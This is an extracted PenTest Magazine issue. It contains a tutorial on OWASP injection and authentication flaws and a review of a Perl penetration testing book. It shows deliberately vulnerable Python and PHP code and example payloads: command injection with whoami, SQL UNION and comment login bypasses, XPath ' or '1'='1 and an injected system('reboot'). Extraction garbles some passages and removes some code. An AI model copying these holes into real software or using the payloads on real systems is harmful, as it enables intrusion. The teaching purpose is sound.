Penetration Testing in Practice | PenTest Magazine
Header $if output: Server output:
$output
$else: No data
As you can see on app.py listing, the application expects the ‘na me’ parameter from the user. We can provide it by simply adding ?name=… to the URL. Then we run the ‘ping’ command via ‘os.system’ and look at the call result. If it is 0, it is OK, and if it is not, maybe the host is down. For the simplicity of example, we do not process all errors, variants and other things making this script completely correct. Now you can run it. $ python bin/app.py
And after that, you should see one line in output: http://0.0.0.0:8080/
That is the URL to which our application is bind ed now. Do not be confused by the 0.0.0.0 address — it is just a localhost. So you can point your browser to localhost:8080 and it will work. The entire structure in file system looks like this:
81
As for the program code, it is pretty simple, but I will explain some things for some of you who are not familiar with such things. The key steps in this script are: render = web.template .render(‘templates/’ )
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice which attachs templates folder that we created in filesystem. form = web.input(name=”google.com” )
This one tells it to take the ‘name’ argument from the rece ived request. p = os.system(‘ping -c 3 ‘ + servername);
And the main line here is actually making ‘ping’ command. It construc ts full command by adding the server name to predefined part of command and runs it. Now we can look at our application at work. Point your browser to http://localhost:8080 . You should see: Server output: OK!
on the page. All works fine now. If you look at the console where our application is running you will see ping output there: 1.
# icewind at IcewindDale in ~/python_workshop/a1_ex [11:44:07]
2. 3.
$ python bin/app.py
4. 5.
http://0.0.0.0:8080/
6. 7.
PING google.com (94.231.112.234): 56 data bytes
8.
82
9.
64 bytes from 94.231.112.234: icmp_seq=0 ttl=62 time=1.719 ms
10. 11. 64 bytes from 94.231.112.234: icmp_seq=1 ttl=62 time=1.929 ms 12. 13. 64 bytes from 94.231.112.234: icmp_seq=2 ttl=62 time=4.863 ms 14. 15. --- google.com ping statistics --16. 17. 3 packets transmitted, 3 packets received, 0.0% packet loss 18. 19. round-trip min/avg/max/stddev = 1.719/2.837/4.863/1.435 ms 20. 21. 127.0.0.1:49705 - - [02/Apr/2015 11:44:24] “HTTP/1.1 GET /” - 200 OK 22. 23. 127.0.0.1:49705 - - [02/Apr/2015 11:44:24] „HTTP/1.1 GET /favicon.ico” - 404 Not Found
As we are not sending any arguments to our application, it uses the default value predefined in code: google.com. So, this run means google.com is up and running, ping command done. Now let’s add arguments to this requests. Test it yourself by trying different server names. And here is the same thing in PHP. As for PHP version, I assume you are running web server on localhost and PHP installed in it. So, index.php could be like this:
PenTest Magazine |
1.
2.
$servername = «google.com»;
3.
if(isset($_REQUEST[‘name’])) {
4.
$servername = $_REQUEST[‘name’];
Penetration Testing in Practice | PenTest Magazine 5.
}
6.
system(‚ping -c 3 ‚ . $servername, $retvalue);
7.
if($retvalue == 0) {
8.
echo «Server is OK»;
9.
}
10. else { 11. echo «Server is DOWN or something gone wrong»; 12. } 13. ?>
The result is the same as with Python version. After that, let’s look closely at the problem in this applica tion. The main is using data from the request in constructing system command. The user has control of this data and can manipulate in a way he wants. Imagine this application is running as a public service on your server. Now a hacker comes to it, what does he see? He sees that you are taking server name from him, and, of course, the logic of the application is such that you have to use user data in constructing command. With this in mind, of course he will try to check if you validate his input or not. And here is his first possible try: http://localhost:8080/?name=google.com|whoami
The hacker will see the same output. But now it will ha ve more meaning for him. He has injected another command in the argument, and is still getting OK as a result, no error. This means that the command constructed with this data is still valid and runs OK. So, that’s cool, however the hacker does not see the output of commands. But who said that? He can write output to files! Look at this request:
83
http://localhost:8080/?name=google.com|whoami>user.txt
and then point your browser to: http://localhost:8080/user.txt
So, I think you get the idea. The hacker can inject shell commands in input. And this could be not just simple whoami command. It definitely will be a shell, it could even be a script…a real big rootkit Now imagine the next steps of the hacker. I’m pretty sure that the next injected command will be the one adding a user, or printing config files to files in order to read them and understand detail s of your server machine. And then one could write a big rootkit script, p lace them on his public server, and then inject command which will download and execute it. And that’s it! The hacker already owned almost your entire server. Just that simple!
SQL Injection This type of injection is a very popular one. The populari ty comes from a wide-spread use of SQL databases. The main goal of SQL injection is the same as an injection in general — the hacker somehow inputs his data and this data is interpreted as a part of SQL query. Let’s look at the example. We will take the previous example with some changes. Imagine now that we have some page on our site, where we show a list of servers to ping. The user can pick any and our application will try to ping it. And in our application, we get the ID of server user picked up , looking into a database to get the address of that server and then making ping.
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice So, on a page we have something like: Server 1 Server 2 Server 3 … Server N
and every record in this list is a link. The link is quite simple: http://localhost:8080/?id=1
That means every link contains the unique identifier of a database record. Ok, that’s works fine. In our application now, we must make some changes to handle this. As we must retrieve the servername from database, we need to query for it. 1.
2.
// …
3.
if(!isset($REQUEST[‘id’]))
4.
die(‘No identier provided’);
5.
// ...
6.
$id = $_REQUEST[‘id’];
7.
$sql_query = ‚SELECT * FROM servers WHERE id=’ . $id;
8.
$result = mysql_query($sql_query);
9.
// …
10. // handing the results 11. // … 12. ?>
84
The $id here is a unique server identifier that we used in our links on the page. It comes from the URL. Now consider the hacker sees the links and will try to put something unnatural in your ID argument. For example, the first try of SQL injection is commonly like this: http://localhost:8080/?id=’
Just a quote. The result of this request will be an error. The error occurs because of invalid SQL query constructed: SELECT * FROM servers WHERE id=’
The syntax here is invalid as you see. The next thing a hacker does when he know that there is something wrong with input validation in your application is to try the next things on it and look what the result would be. For example: http://localhost:8080/?id=1+1
and compare results with request of http://localhost:8080/?id=2
If they are equal, it indicates that you are processing the input incorrectly and injection can be done. In this case, there’s no strict interpretation of input as a string, the numbers got summarized. Then usually comes the real SQL injection like: http://localhost:8080/?id=1 UNION SELECT passwd FROM users
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine or something like this. It is always specific to the application. The hacker needs to know how many fields you are selecting in your query to make the UNION statement possible, he nee ds some sort of output to see the results (place on resulting page where there is definitely database-selected data). But on modern sites it is not a problem; almost every element on it is dynamic and comes from a database, especially when taking into account how common it is to use CMS in our days (WordPress, Joomla, Drupal, … and many, many others). All CMS store data in a database and then get it from there to present on the page. So using a databa se now is a must on almost every site. Here is another great example of how terrible a SQL injection can be for your application. Assume you decide to sell your previously written applicati on (our ping service) for a little fee (I can’t propose why and for whom, let’s think for people in other countries banne d by IP or something, does not matter). After that, you made some kind of authentication or possibly a personal account for every customer. Now they have their personal login/password and can login to their personal accounts. All accounts usually stored in the database, and a poorly writte n SQL query for authentication can be bypassed in five minutes. For example, http://localhost:8080/login/?login=user1&password=mypass
is a normal login url for your application. But this URL: http://localhost:8080/login/?login=admin’–&password=whatever
will lead to a query like this: SELECT * FROM users WHERE login=’admin’ –‘ AND password=’whatever’
And the hacker will now log into admin’s account, without e ven checking for a password. This query just tells the database to get the admin user’s record a nd the application thinks that it is the record for user provided pair of login and password. The hac ker inserted a comment sign there and the rest of query containg password checking is now considered as a comment by an SQL engine.
85
Code Injection This injection type is an injection of external cod e somehow in a script process and processing it. In code injections, hackers try to make your application include their external file with malicious code and run it. This typically happens when applications use user input somehow in identifying what code file to include or use in constructing path to code f iles. For example, we can consider a site consisting of several pages and the ability to switch between them. When the developer of such application is not keeping security aspects in mind, it could lead to big security holes. Let’s look at the example app that uses page swi tching and the target page is provided in URL. Like this: http://mysite.com/index.php?page=index http://mysite.com/index.php?page=contacts
• •
and so on.. And on the server side, there’s a code part which takes the ‘page ’ argument and includes: 1.
2.
// …
3.
$page = $_REQUEST[‘page’];
4.
include($page);
5.
// …
6.
?>
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice Here the application expects that all pages are available in the same folder, and includes the required page file in the code. And that is wrong, because this application is taking the filename from user input and this input data could be malicious. For example, a hacker may provide you with a different name from the expected one. He could start to try various filenames and look what changes. Then he definitely will try to include a remote f ile. And if your web server allows remote includes — that one could execute any code he wants on your server. Of course, there are limits by context of execution. This code is limited to user context of account running process that is interpreting this code. If it is all defined correctly on your web service, this attack probably will not lead to whole server owning, but will lead to full application compromising for sure.
Xpath Injection This type of injection is a bit similar to SQL injecti on. Consider the sample application that does authe ntication. The app will use an xml database storage having structure like this: 1.
2.
3.
4.
Johnny
5.
Bravo
6.
jbravo
7.
test123
8.
Admin
9.
10. 11. Mark 12. Brown 13. mbrown 14. demopass
86
15. User 16. 17. 18.
Of course, the first thing to mention here is DO NOT save passwords in plain text! But, for this example, it is not a goal. If we have two fields (what is usual), username and password, the bypassing is simple: Username: ‘ or ‘1’ = ‘1 Password: ‘ or ‘1’ = ‘1
will lead your application to final search string: string(//Employee[uname/text()=” or ‘1’ = ‘1’ and passwd/text()=” or ‘1’ = ‘1’]/account/ text())
And a hacker becomes an admin!
RegEx Injection This type of injection refers to cases when an applic ation somehow uses input data from the user as a part of a regular expression. Consider we have an app which allows users to change their passwords and al l user data is stored as an xml file or xml database. In this case, the user provided variable becomes a part of the replacement term of the call to preg_ replace() (in case of using PHP). Therefore, the code is vulnerable to Regular Expression Injection.
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine Consider the following password being sent to the script in $ _ POST[‘newpassword’]: ‘.system(‘reboot’).’
Then, the replacement term turns out as: “‘\\1′.strtolower(”.system(‘reboot’).”).””
So the call to the system() function was injected in the application. While this specific attack will have no effect on most systems since the user PHP is running under does not have the rights to call reboot, the implications of such a security vulnerability are obvious, since PHP functions and also system calls can be executed if not deactivated in the configuration.
XXE (XML External Entities) Injection This type of injection occurs when one includes abnormal xml input d ata and this leads to processing of external xml data. This, in turn, leads to data disclosure, remote code execution, port scanning from the perspective of compromised machine (to cover trac es), denial of services… As OWASP stated, the risk factors for this vulnerability are: 1. The application parses XML documents. 2. Tainted data is allowed within the system identifier portion of the entity, within the document type declaration (DTD). 3. The XML processor is configured to validate and process the DTD. 4. The XML processor is configured to resolve external entities within the DTD. Attacks can include disclosing local files, whic h may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier. Since the attack occurs relative to the application processing the XML document, an attacker may use this trusted application to pivot to other internal systems, possibly disclosing other internal content via http(s) req uests.
87
In some situations, an XML processor library that is vulnerable to client-side memory corruption issues may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released. As an example, we could look at this case: ]>
&xxe;
This is how a local resource can be accessed. And this is an example of how Denial of Service could be made — an att ack called Billion Laughs: 1.
2. 3.
4. 5.
6.
7.
8.
9.
10. 11. 12. 13. 14. 15. 16. ]> 17.
&lol9;
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice The Billion Laughs Denial-of–Service (DoS) attack consists of defining 10 entities, each defi ned as consisting of 10 of the previous entity, with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity. So, as you see, injection in general is a very common flaw in the wild. There are many variants of injections. Hackers usually try to inject malicious things in almost every place they find acceptable. The important thing here is a policy of showing errors in your applica tions. If your application shows every error it encounters on the page then hackers will see reactions on their actions. And this is not good. You shouldn’t make their life easier! Make it harder to complete an injection! If the application is not showing any response to the user, even if injection is possible, and possibly some of the hacker’s input worked, the hacker can’t define if it worked or not. Injection vulnerability remains, of course, but totally blind injections are much harder to complete.
A2 Broken Authentication And Session Management The second most highly ranked web security risk, according to the Op en Web Application Security Project (OWASP), is broken authentication and session management. That risk encompasses several security issues, all of them having to do with establishing and maintaining the identity of a user. OWASP described broken authentication and session management as follows:
1. Storing user credentials without hashing or encrypting them Database security breaches are undesirable to begin with, but they are absolutely devastating when filled with plaintext passwords. Even if you force users to change t heir passwords after they are exposed, the tendency of many people to reuse passwords means you may have made them vulnerable on websites other than your own. This may be solved by protecting user passwords as critical data. Normally it is best to use a strong hashing function with unique salts.
88
2. Easily guessed passwords This is an old problem. By it is still here, in 2015. With the popularity of mobile devices, passwords of many users returned to simplicity. This is caused by the difficulty of typing passwords on a mobile phone’s keyboard. Web applications are accessed now not only via common browser but via mobile browsers too. And the typical user thinks if he applies a strong password, with many characters or many different alphabets, it will be a disaster to type it on a mobile phone. So this is still a problem, an actual problem.
A hacker can compromise weak passwords with either a brute force attack or a dictionary attack. The term “dictionary attack” can be misleading, as it has to do with lists of common, known passwords, not merely human language dictionaries. In fact, solutions that thwart those lists can be surprising. It is extremely difficult to force the user to pick a good password, so the most common approach is to require a minimum length and usage of uppercase and lowercase letters, numbers, and symbols. However, it is good to provide education wherever possible. One good strategy for password selection is to use a sentence acronym.
3. Poorly secured password change features If a user leaves a machine unattended while logged in, a nearby attacker may attempt to physically access the account and change the password. If the password change feature does not require reauthentication, this is an easy process. What you can do
When users try to change their password, always require them to re-authe nticate themselves first. Ideally, they would be required to enter their old password and provide a second ary form of authentication, such as answering a security question.
4. Poorly secured password recovery features Similarly, password recovery options sometimes lack strong authentication measures. A common practice is to ask security questions, but weak questions may be answerable by anyone who has some familiarity with the user. As one white paper puts it, “It’s amazing how many institutions believe that your date of birth and your mother’s maiden name are sufficiently obscure to protect your bank account.”
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine What you can do
Password recovery is a challenging thing to secure. Many recovery features send users an email. In this case, never give the users their previous password, as you have no way of knowing how much you can trust users’ email accounts. Besides, if you’ve properly hashed the password, you shouldn’t be able to do that anyway. A preferable solution would be to provide a single-use link (or, alternately, a single-use temporary password) to a web page that lets the user create a new password. Ideally, secondary authentication would also be required. See this white paper for more information.
5. Session IDs exposed in a URL. For example, an airline website might use the following URL: http://example.com/sale/saleitems?jsessi onid=2P0OC2JSNDLPSKHCJUN2JV. Users may wish to share information about the sale on that page with their friends, so they email them the link. When the frie nds follow the link they are unknowingly gaining access to the entire authenticated session, complete with credit card info. What you can do
Never put the session ID in a URL. Use POST rather than GET.
6. Session IDs are vulnerable to session fixation attacks. Session fixation occurs whenever attackers control the issuing of a session ID to the user. In doing so, the attacker does not need to obtain the session ID at all, because they created it themselves. Suppose the airline in the previous example not only exposed a session ID in the URL, but that it did not require that ID to be generated from the server itself. Attackers could simply construct that link themselves without a session even being active, then email it to the user from an account c laiming to be owned by the airline itself. The user would click the link, thus beginning a new session with an ID created by the attackers. The attackers follow the same link, gaining access to the session after the user authenticates. What you can do
Make certain that every session ID is generated on the server, and never let users set one themselves. See Section 5 of this white paper.
89
7. Session IDs don’t reasonably timeout or sessions aren’t properly invalidated during logout Long or non-existent timeouts leave sessions vulnerable to reuse by people other than the user. For example, users at a public computer might close the browser, thinking that would automatically log them out, but an attacker might re-open the browser some time afterward, re-entering the same session. In another scenario, the user might actually “log out”, but the session ID would remain in existence, allowing an attacker with access to the ID to re-enter the session without re-authenticating. Session IDs exposed in URLs (see number 5 above) would be particularly vulnerable to such an attack. What you can do
Impose strict timeouts on session IDs, and rotate them on a regular basis if a user is actively using the session for an extended period of time. Ensure that session IDs are rejected by the server after logout.
8. Session IDs aren’t rotated after a successful login In this case, the session ID exists in two different contexts: an authenticated state and a nonauthenticated one. An attacker could start a session, continued through login by a legitimate user, and then re-use the same session to access the user’s account. What you can do
In addition to any regular session ID rotation, set a new ID every time there is a major transition, including authentication and switching to SSL.
9. Passwords, session IDs, and other credentials are sent over unencrypted connections Unencrypted transmissions allow monitoring by anyone with access to the connection itself. Besides the possibility of someone stealing the credentials themselves, this opens up a number of othe r dangers, including man-in-the-middle and replay attacks.
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice What you can do
Any credentials must be transmitted over a secure, encrypted conne ction, preferably SSL. Avoid homegrown security and encryption methods.
10. Browser caching is enabled After a user logs out, an attacker can use the same machine and the br owser’s history to go back to the login page and re-use the cached c redentials. What you can do
Take measures to disable browser caching. Use no cache tags and disable autocomplete w henever possible.
Finally So, there are many, many implementations of this vulnerability. The most common one is session fixation. Session fixation is the type of vulnerability when your web server does not corre ctly handle user sessions. In this case, the application on the server side does not create a new ticket for user and that is the problem. In theory, if you think about it — how the process of authentication if going on. First, let’s take a simple case when you authenticating users via login/password passphrase. So, your user provides the credentials, next, the web server must validate i t. While validating it, the server must compare hashes of provided credentials with pair hash stores in a database or in a file. Then, if comparing is successful, the application should ga ve user a ticket. This ticket identifies the user in a system. It is his session key. Now, consider someone wants to hack this architecture. What can he do? Honestly, his steps are not complicated. For example, let’s say your application supports a session fixation. Session fixation is a feature that allows users to provide a session key from another place and still gain acc ess to the main user session.
90
This vulnerability becomes exploitable when your appl ication does not check anything after obtaining the session key. And many sites do it it the exact that way. If you got the session key, then you are authenticated. But in real life, that is not true. Your session key can be hijacked or sniffed! And that case is real in public wi-fi or some net where anyone can listen to network traffic. The next common thing is poor implementation of functions like password changing or password recovery. If some system provides you password recovery — test it! There are many of them who just send you your password by your request. Commonly, it is sent to the email on which the account is registered. So, think, if they sent you your password, then they keep it for sure! And another not pleasant thing, they probably keep it in clear text. And that leads to at least two problems: • •
First, you should understand that all persons in that company probably have access to your data Second, you should be aware that if that company is compromised, all your data will be accessed by hackers, and your password is in clear text too.
Summary Securing authentication and session management is a broad, complex area of security, but it is essential to preserving the identity and trust of the user. Always follow good practices to protect your users’ identity, including their passwords and session IDs. Hash passwords, encourage good password selection, require re-authentication to change passwords, force users to change their passwords when trying to recover accounts, never put a session ID in a URL, ensure all session
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine IDs originate at the server, timeout and rotate session IDs at intervals and security context changes, use safe encrypted connections, and disable browser caching. Educate both developers and users about good security practices whenever possible, and be quick to patch vulnerabilities as soon as you are made aware of them. It is vital tha t your users be able to trust you with their information. So, what do you think about properly storing the credentials? There is more to think about than you might originally imagine. Here are some basic measures to consider:
1. Initialize To initialize the process of resetting their forgotten password, have users only enter the email address that they believe is associated with the acc ount. Don’t provide any feedback on whether the spec ified email address is a valid address or not. Provide only an immediate notification to the end user that instructions for resetting the password was sent to the specified email address.
2. Notify Immediately send out an email to the specified account despite whether the email is a legitimate address or not. In case the email was not legitimate, the email would be a notification to the email holder specifying that no account was found associated with the email. In the case where the email was legit, specify the instructions for continuing the password re set process. Out of the gate, this is going to be controversial for some, shouting a user-experience foul. The small inconvenience where the user must submit another email ad dress due to a typo or incorrect remembrance of what email address was used to register is little when we think about. This small inconvenience affords us additional prote ction for our users. The larger issue here is allowing a malicious party to harvest information on what valid users exist in our system (including the one experiencing the small inconvenience). The ability to harvest legitimate accounts and information about those accounts is a serious error and will be talked about later at length. 3. Protect the current account
91
There should be no action taken against an acc ount where a password reset process has been initialized. To be more precise, no lockout of the account or no re-generation of a new password. Nothing. A form of Denial of Service attack (DOS) can be direct or in mass if any action is taken against an account where only the process of resetting the password has been initialized. 4. Tokenize
Generate a secure token that can be used to id entify the reset request. This is persisted with the associated account ID and time stamp of when the request was initialized. This might go without saying, but the token does not represent any sensitive data and is only an obfuscated reference to the request record that should not be able to b e guessed. 5. URL
Legitimate email addresses (email addresses found in the system) should contain a URL link to continue the password reset process. The URL will contain the token, that will be used to look up the password reset request record for addit ional information. Most importantly, this must be a secured URL using HTTPS. We all saw many disclosures about the man-in-the-middle vulnerabilities when not securing all aspects of a sensitive transaction and this is no different. It might go without saying, but do not provide the user’s current password in the email. We might go as far as not even providing the associated username in the email (if the account username isn’t the email address), especially, if you will require further user validation before allowing the user to specify a new password (talked about late r in the process).
6. Request Validation. Following the URL link in the email will land them on the HTTPS secured form. Before being able to take the next steps in the password reset process, we need to valida te that the token provided by the URL is still valid. The time that the request was initialized was ca ptured with the password request record earl ier in the process. At this point, you need to apply your business rules for how long a password request
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice is valid, whether that is one hour or more. If the time has expired, notify the user that this process must be restarted and discard the reset request record.
7. User Verification At this point in the process we have relied completely on the securit y of the email address. The user is either a legitimate user or someone has managed to compromise the associated email account. Here is where you need to determine what level of further validating the user is required. FluffyKittenWishList.com might not require the same level of validation that your financial institute requires. There are a number of different forms of validation such as Two-Factor Authentication and Sec ret Questions/Answers. Since 2FA is in itself a diverse and deep subject, we’ll talk shortly about Secret Questions/Answers. If you determined to further validate the user, they need to answer one or more questions that they had chosen and answered at some point in the lifetime of their account. The key however, is that we don’t display only the questions they chose to answer. Require the invalidated user to choose from the list of possible questions the correct selected q uestion and provide the correct answer. If you are using secret questions and answers, the answers need to be stored just as you would with passwords. Many have written long ago how secret answers to secret questions are just anot her form of a password, so they need to be cryptographically secured .
8. Reset Password After the user has successfully validated their legitimacy (or in the c ase where they are not required), they would be presented with the ability to provide a new password (and complementing password confirmation). However, once this has been done, we don’t automatically log them in.
9. De-Tokenize After a successful password reset, destroy the associated password reque st record that was retrieved using the URL provided token.
92
10. Notify, Again Once the password reset is successful, send a second email to the same email ad dress notifying that a successful password reset has occurred on the associated a ccount. This might not seem so intuitive, but engineering the compromise of someone’s account by someone other than the legitimate owner happens all the time. So, notifying the user account of these types of activities can help mitigate further exploitation of someone’s account in the case of an illegitimate password reset.
11. Login As it was mentioned earlier, when a password is successfully reset, we don’t automatically log them in but redirect them to the login page and require them to login. The above is a topic that can be extensively written abo ut (and has been) but WE have distilled it down to a few bullet points. Therefore, there are quite a few very important considerations that need to be made that weren’t mentioned already, such as: • •
•
Logging, lots of it. Logging every aspect of the reset process (note: never log the password). Means for legitimizing the password reset request with CAPTCHA’s or throttling requests, usually attempts by harvesters to validate the existence of accounts. How to handle cases where username and email are separate but the user has forgotten their associated username – when would be a valid opportunity to divulge this information?
So, now you should be aware of all things according to A2 — implement your authentication and session management properly!
by Vladimir Korennoy
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine
Penetration Testing with Perl
D
ouglas Berdeaux has written an excellent book, excellent from quite a number of points of view, some of which I will address. Packt Publishing have done a great service making this and other available at their web site. It is one of many technical books there that have extensive source code and are good ‘instructors ’.
93
Penetration Testing with Perl is available as both a PDF file and as an e-book in Mobi and epub formats. It is one of over 2000 instructional books and videos available at the Packt web site. I read a lot on my tablet but most of the ebooks I read are “linear text ” (think: ‘novels’, ‘news’). A book like this is heavily annotated by differentiating fonts and type and layout. How well your ebook reader renders that might vary. None of the ones I used were as satisfactory as the PDF. For all its failings, if you want a page that looks “just so” whatever it is read on, then PD F still wins out. For many, this won’t matter since the source code can be downloaded in a separate ZIP file . Of course you may be like me and prefer to learn by entering the code b y hand so as to develop the learned physical habit which you can then c arry forward. You may also prefer to have a hard copy version of the book rather than use a ‘split screen’ mode. This is not a book about learning to code in Perl, or earning ab out the basics of TCP/IP. Berdeaux himself says in the introduction:
|
This book is written for people who are already familiar with basic Perl programming and who have the desire to advance this knowledge by applying it to information security and penetration testing. With each chapter, I encourage you to branch off into tangents, expanding upon the lessons and modifying the code to pursue your own creative ideas.
I found this to be an excellent ‘source book’ for ideas and worked though many variations of the example code. This book is a beginning, not a end point.
That was Then, This is Now Pen testing has come a long way since those outspoken pioneers of InfoSec, Marcus Ranum and Bruce Schneier , naysayed it back in 2007 and 2008. See here, and here, and here, and especially here.
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice Basing a criticism on a ‘penetrate and patch’ view of pen-testing is, of course rather biased. So is basing it on the idea that these are tools for malicious hackers. That has long since not been the case. Today, penetration testing is a technique approved by the financial community as part of the PCI:DSS certification. In one sense its not ‘penetrate and patch’ so much as a classical Red-team. Blue team codes; red team debugs by breaking the code. A quite acceptable approach to software development. Manufacturers crash car to prove their safety. Most materials are ‘stress-tested’ to ensure they won’t break during normal and even exceptional use. Pen-testing to prove correctness and compliance and resilience is perfectly valid.
Who This Book is For Douglas Berdeaux has chosen to take the reader into the dirty byte-level depths of cracking WPA2, packet sniffing and disassembly, ARP spoofing (the right way), and performing other advanced tasks, such as blind and time-based SQL injection. P arts of the book are Perl code that mimicked the functionality of other information security progra ms, so one can see how it all fits together. Although Perl was originally about scanning text and buildi ng reports, this is something quite different, dramatically different, and shows what Perl is really capable of.
I
t wasn’t until several years prior to writing this book that I truly began to understand the harmonious nature of Perl, Linux, and information security. Perl is designed for string manipulation, which excels in an operating system that treats everything as a file. Rather than writing Perl scripts to parse the output from other programs, I was now writing independent code that mimicked the functionality of other information security programs. At this stage, I had a newfound appreciation for the power of Perl, which opened the door for endless opportunities, including this book.
I myself adopted Perl in 1989 with version 3 and built a complete ISP management, tracking and reporting/billing system. I found that it had all the expressive power of C but handled many matters such as string manipulation and patter matching much more gracefully. And then there was the CPAN repository! Perhaps I should fault Berdeaux for not emphasising CPAN more, but to be fair, CPAN deserves a book of its own and is a living, growing subject.
94
This is certainly a ‘how-to’ book and Berdeaux makes it quite expli cit that the examples and exercises are for the real world. He suggests a test-bench with a 802.11 Wi-Fi router that is capable of WPA2 encryption, two workstations (which can be virtual if networked properly) that will act as an attacker and a victim, a smartphone device, an 802.11 Wi-Fi adapter that is supported by the Linux OS driver for packet injection, network shared storage, and a connection to the Internet . All that being said, the book is an excellent example of how to design, w rite and document open source code. So much open source code is just presented and difficult to understand or support. The author has not documented his design decisions, not documented w hat the various code sections are trying to do and how that way of doing it rather than another was chosen. In the literary world we often have early manuscript that show revisions, author’s notes and such like. All too oft en with code we only see the end result. Berdeaux unfolds all this and the result is very readable. This is the kind of book that could be used on a course on either Per l or Pen-testing because it is practical and will engage the student’s interest.
What’s Inside Chapter 1 takes you though the basics of Perl and ends up discussing CPAN And showing you how to download LWP::UserAgent , which plays a key role in the code examples that follow. Readers already
familiar with Perl can page though this quic kly. Chapter 2 deals with shell programming under Linux using BASH. Again the basics are covered and
those with shell experience can move on quickly. The only parts of importance to those with experience is some setup of the environment for what follows. Chapters 3 and 4 deal with the wired environment before going on to the wireless environment in
chapter 5.
PenTest Magazine |
Penetration Testing in Practice | PenTest Magazine Chapter 3 is basically about replicating the functionality of NMAP using Perl. While this seems trivial it introduces many concepts and tools that will be used later. Using them in this context makes them more visible and understandable than simply blindly using them later with no explanation, and also shows how Perl can be used for network functions.
Along the way we meet many other network tools available under Linux: ettercap and wireshark/ tshark, smbtree, hping3, arp. Of course it helps if you know the basics of how the TCP handshake works and of course the Ethernet, IP, and TCP layers. Chapter 4 addresses packet capture and filtering with Perl. Those who have a thorough knowledge of the TCP protocol suite and tools such as wireshark can move quickly though this as much of the first part of this chapter is how to take packets apa rt using Perl. We then move on to the application layer and so into how to set up a “Man in the Middle” (MitM) attack. Berdeaux emphasises the importance of information gathering and uses the example MAC/IP address determined earlier to illustrate a hijacking with ARP spoofing.
In Chapter 5 we move on to Wifi networking with 802.11 and how to disassemble 802.11 frames. A more detailed knowledge how 802.11 is managed is the basic knowledge requirement here, though Berdeaux does cover what is needed for his examples. Once again a variety of Linux networking tools, this time the wifi tools, are used alongside or within the Pe rl code. Having laid these foundations Chapter 6 moves on to applying these skills in the first state of a penetration test, the gathering of information, in this case Open Source information (OSINT) such as email addresses and DNS information. This covers not only obviously googling but also searching social media sites such as Google+, LinkedIn, Facebook and others. This section shows the power of Perl’s regular expression mechanism to filter out the desired information from what might be a ‘fire-hose’ of results. As humans we look at only the first few results of a google query, probably not noticing that there are many thousands of hits. A Perl based scanner can dive deeper. Chapter 7 goes into detail about the powerful hack SQL Injection , making the point that SQL injection is one of the longest-running vulnerabilities in IT, only bettered by Buffer Over-run . It is a
95
demonstration that some web technologies, including languages, are inherently fragile and simple mistake can have dramatic consequences. Chapter 8 looks at other web based vulnerabilities and how to exploit them, such as cross site
scripting (XSS), file inclusion and others. Berdeaux makes these all very clear and simple and shows how Perl really is an easy to use tool, a hackers “Swiss Army Knife”. Chapter 9 deals with password cracking. While Perl isn’t as fast as lower level languages for
brute force cracking, Berdeaux makes the very valid point that there are better ways, making use of precomputed tables and of leaked information, the Internet equivalent of the yellow stickie under the mousepad. Once again google comes into play. In one sense this book is as much about using google as it is about Perl! It is in the section on WPA – wifi – cracking that Berdeaux makes Perl shine. He begins with a clear explanation of the protocol and then carefully explains the code and how it works. He makes it look very simple and straight forward, an excellent piece of writing about something that can be very confusing. “Metadata”, addressed in Chapter 10 has been in the news recently due to revelations about national security agencies collecting communication information. “Metadata” refers to the contextual information rather than the actual content, the who, where, what. The metadata of a photograph can reveal where and when it was taken, how it was edited. How this information can be exploited is going to depend on the context. One might imagine law enforcement using metadata to trace child pornographers. Files other than photographs also contain metadata. Examples include many of the types of documents stored on web sites and that can be found by searching with google and specifying the filetype . One of the most common of these is PDF, and Berdeaux uses this as an example too. In a general sense, metadata is an interesting form of information ‘leakage’ simply because it is not visible. An “out of sight means out of mind” phenomena, added to that fact that many people are simple ignorant of its existence.
| PenTest Magazine
PenTest Magazine | Penetration Testing in Practice Chapter 11 deals with Social Engineering, and as Berdeaux says, that’s about psychology:
I
Human psychology and the human nature of will, sympathy, empathy, and the most commonly exploited nature of curiosity are all weaknesses that a successful social engineer can use to elicit private information. Some institutions and most large-scale client targets for penetration testing are slowly becoming aware of this type of attack and are employing practices to mitigate these attacks. However, just as we can sharpen our weapons to clear through defense, we can also sharpen our social engineering skills by investing our efforts in the initial OSINT, profiling and gathering information, which we have already done throughout the course of this book.
This kind of penetration method relies on bait messages. It is effe ctive because it so often works when all else fails. Ultimately it relies on human frailty and trust. Berdeaux makes it clear that a great deal of our trust is in the integrity of the programs we use. He uses the example of a rogue version of SSH written in Perl to make this point Chapter 12 deals with the most important part of any penetration test operation: the reporting of the
results. A quality report ensures a satisfied client. As Berdeaux says:
I
The process of planning the reports begins the minute we begin testing and ends the minute we stop.
He goes on to add
I
Logging successful steps is not only crucial for the logistics of the target client, but can also lead to further exploitation after close analysis.
Perl is admirable suited to generating and tabulating reports, it was part of its original design concept. Along the way, Perl has seen the development of many code modules and has been the core of the engine behind many web sites. That has led to facilities for things such as graphing, which are used in the examples here.
96
The final report might be presented as a PDF or a s a web page (HTML). Perl can handle both and both are illustrated. These techniques, obviously, have a wider application. Finally in Chapter 13 we learn how to write GUIs in Perl with the “Tk” extensions. Along the way we have to learn the Object Oriented syntax of Perl. If I had been structuring this book I would have introduced the OO-Perl much earlier and make use of the GUI capabilities much earlier. At the very least, the techniques of OO-Perl and call-backs that this chapter introduces are more generall y applicable. GUIs can be wonderful things, or they can be limiting things. It is up to the GUI designe r. The point of this chapter is that you can be the GUI designer and have an interface that meets your needs. Source Details
PenTest Magazine |
Title
Penetration testing in Perl
Author
Douglas Berdeaux
Publisher
Packt Publishing (http://www.packt.com)
